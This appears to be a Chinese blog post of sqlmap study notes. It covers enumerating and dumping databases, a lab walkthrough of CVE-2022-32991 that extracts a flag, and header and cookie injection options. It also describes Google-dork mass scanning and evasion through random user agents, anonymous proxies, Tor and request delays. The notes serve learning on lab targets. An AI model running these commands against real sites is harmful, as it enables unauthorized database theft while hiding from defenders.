SQLmap学习笔记

直连数据库

-d参数用来直连


python -d "mysql:root:123456@127.0.0.1:3306/test"

一些简单的后缀参数

--banner

用来查看数据库版本

--batch

忽略请求,全部为y

--dbs

查看存在的数据库

-D 数据库名

指定具体数据库

--tables

爆出数据库有哪些表

-T 表名

指定具体表

--columns

爆出指定表中的列

-C 列名

配合 --dump参数

--dump

爆出指定列的数据

--dump-all

配合-D、-T、-C参数可爆出指定的数据库、表、列的内容,不加参数可爆出数据库全部内容

--users

查看当前数据库存在的用户

-f

指纹,判别数据库类型

使用小技巧:

当使用 -r参数读取文件时,可以在需要探测的参数后边加上*

一般探测流程(速成可以直接看这个)


利用burpsuite拦截下发送的请求包,存入文件这样好做点
# 先找数据库
python sqlmap.py -r text.txt --dbs --batch
#找到数据库后找表
python sqlmap.py -r text.txt -D 找到的数据库名 --tables --batch
#找到表后找列(这个是爆破出来的)
python sqlmap.py -r text.txt -D 数据库名 -T 表名 --colums --batch
#找到列后就爆出内容
python sqlmap.py -r text.txt -D ctf -T flag -C flag --batch

一个简单的实例

漏洞环境为云镜春秋CVE-2022-32991

该靶标的介绍中说明:welcome.php中存在SQL注入攻击

正常的注册以及登录后进入该页面

  1. 打开burp suite抓包,将请求包存入sqlmap文件夹下的test.txt文件

2、打开sqlmap进行探测

使用以下命令进行探测


python sqlmap.py -r text.txt --dbs --batch

探测结果

q参数似乎不存在注入漏洞

  1. 点击屏幕尝试,点击start发现参数多了起来

接下来就尝试探测该数据库

注意:以下为一个存在注入点探测的一个基本方式

  1. 查看该数据库下存在哪些数据库


python sqlmap.py -r text.txt --dbs --batch

探测结果发现:

存在4个数据库我们需要使用的是 ctf数据库

  1. 查看ctf数据库下有哪些表(该行为似乎是爆破找到的)


python sqlmap.py -r text.txt -D ctf --tables --batch

探测结果如下:

看到flag就知道我们要找的数据肯定是在flag表中

  1. 接下来对flag表中的列进行爆破


python sqlmap.py -r text.txt -D ctf -T flag --colums --batch

爆破结果如下,flag表中只存在一列

  1. 接下来查看flag表中的flag列的内容


python sqlmap.py -r text.txt -D ctf -T flag -C flag --batch

这不就得到内容了么

url探测

-u "url路径"


python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-1/?id=1" --banner --batch

探测结果分析

id参数存在一下注入:

时间注入就是类似于利用sleep(5);利用该函数

其他环境信息如下:

-l参数

用来读取burp suite等拦截下来的请求日志文件,通过该文件进行读取

拦截下来的数据文件保存示例:

将拦截下来的结果保存在已知位置,后面要进行读取,可以直接放在sqlmap根文件夹下,读取方便


python sqlmap.py -l test

根据反馈输入y即可,后缀加上--batch也行

探测结果跟-u一样

使用这个方法,可以连续探测多条url,当需要探测的比较多的时候,这是个不错的选择

-r参数*

将单个请求头保存到txt文件中,然后再搞,类似于-l,但是又不太像

-m参数

从文本文件探测多个站点,多个参数,同-l类似

其余还有-x -r参数,用法差不多感觉

-c参数是调用配置文件进行探测,配置文件可以配置上面的这些还有别的,感觉还不会用到,先不学

Sqlmap Google批量扫注入

-g参数

自动利用google获取指定google hack的目标

inurl ,用来在谷歌上搜索,这个不能乱用


python sqlmap.py -g "inurl:.php?id=1"

设置请求参数

--method参数

强制要求使用的请求方法


--method=PUT

post提交 --data参数

--data参数,可以用来指定参数名称,这样就可以探测以post方式提交的请求为

--data="参数名=值"


 python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-11/index.php" --data="uname=root&passwd=root&submit=Submit" -f --banner --dbs --users

设置分隔符--param-del参数


python sqlmap.py -u "http://127.0.0.1/TP5/public/sqli-labs-master/Less-11/index.php" --data="uname=root;passwd=root;submit=Submit"--param-del=";"  --dbs

不加这个参数默认的是以&为分隔符

设置cookie头*

--cookie "cookie值"

有些web应用会使用Set-Cookie进行响应,sqlmap将会在接下来的http请求中,自动使用Set-Cookie的值作为cookie标头,如果不想使用这些,可以使用

--drop-set-cookie参数


Set-Cookie了解
Set-Cookie响应头字段(Response header)是服务器发送到浏览器或者其他客户端的一些信息,一般用于登陆成功的情况下返回给客户端的凭证信息,然后下次请求时会带上这个cookie,这样服务器端就能知道是来自哪个用户的请求了。

--load-cookie

用来提供包含Netscape/wegt格式的cookie的特殊文件

注意:使用cookie进行的探测需要设置 --level 2 以上

cookie参数可以用来注入,需要session验证的界面,cookie作为一个正常访问页面的参数,也存在在cookie值上存在sql注入

设置User-Agent

默认情况下,使用sqlmap进行的请求,用户代理头为:sqlmap/1.0·····,这种可能会被拦截

因此我们使用--user-agent参数来伪造

--user-agent "值" //这个值用F12可以查看

通过 --random-agent,将从data/txt/user-agents.txt文件中,随机选择一个

除此之外,user-agent和cookie一样,也有可能他的值存在注入,要是想探测的话需要, 设置 --level 3

设置HOST头

探测host头等都需要使用--level 5

设置Referer头

探测Referer头需要 --level 3 以上

设置额外的HTTP头

--header = "" 可以设置一个头

可以设置多个

--headers = "Host:值1\nuser-Agent:值2"

通过sqlmap.conf 配置文件也可以设置这些,

设置HTTP协议认证参数

关于http协议认证参考

http://t.csdn.cn/Ueeqa

--auth-type参数支持:Basic、Digest、NTLM

--auth-cred认证语法为:"username值:password值"

设置HTTP代理

--proxy "http(s)://ip:端口"

设置代理服务器位置

如果需要认证

--proxy-cred username值:password值

设置认证用户名密码

--proxy-file 文件地址:

设置多条代理在文件中,如果这条代理不可使用,那就使用下一条(渗透的时候尽量使用该种方法,写一个文件,将可用的匿名代理写入文件,这样或许会更安全)

--ignore-proxy:

忽略系统代理服务器设置,如果说系统设置了代理服务器,那么你发送的每一个请求都要经过这个服务器,但是如果你探测的是本地的,那就不需要走这个服务器(如果上面设置了这个,那流量就还会走这个)《感觉不太会用》

设置Tor隐藏网络

--tor:

使用tor

--tor-port:

--tor-type =

指定tor的类型:HTTP、HTTPS、SOCKS4、SOCKS5

--check-tor

检查tor是否可用

关于tor,使用kali可以使用apt进行安装,tor的具体使用还要学习

设置延迟:

--delay 0.5:

设置延迟0.5秒

使用sqlmap进行探测的时候,会发送大量的探测请求,发的太快可能会引起服务器报警,这就需要使用延迟了,默认是不设置延迟的

设置超时:

--timeout 10.5

设置探测过程中,如果10.5s没有连接上,那就说这个目标不存在,开始后边的操作

设置重试次数:

--retries 3

设置重试次数,默认为3,跟上边超时有关,超时了就会重连,重连超过3次那就放弃

设置随机化参数*

--randomize 参数名

这也是一个防检测的方式,比如要探测id参数是否可以被注入,如果使用随机化参数那就是:--randomize id,这样id的值就会被随机生成

感觉暂时够用了先写这点后边在学再用:

学习参考:

【SQLmap工具--全网最全sqlmap讲解】 9 Sqlmap指定位置注入--关注微信公众号:白帽子搞安全(免费获取该视频资源)_哔哩哔哩_bilibili

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值